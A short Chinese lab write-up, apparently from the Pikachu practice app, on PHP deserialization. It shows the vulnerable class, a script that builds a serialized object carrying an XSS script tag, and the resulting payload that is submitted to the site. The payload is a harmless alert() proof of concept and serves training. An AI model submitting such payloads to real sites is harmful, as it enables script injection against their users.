PHP反序列化
查看源码,以下为关键代码:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
首先是一个PHP类,里面有一个变量test;还有构造函数__construct(),它输出本实例的test变量值。
当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
构造payload
<?php
class S{
var $test = "<script>alert('xss')</script>";
}
$c = new S();
echo(serialize($c));
?>
运行:
得到payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
在网站提交准备好的payload,反序列化成功利用: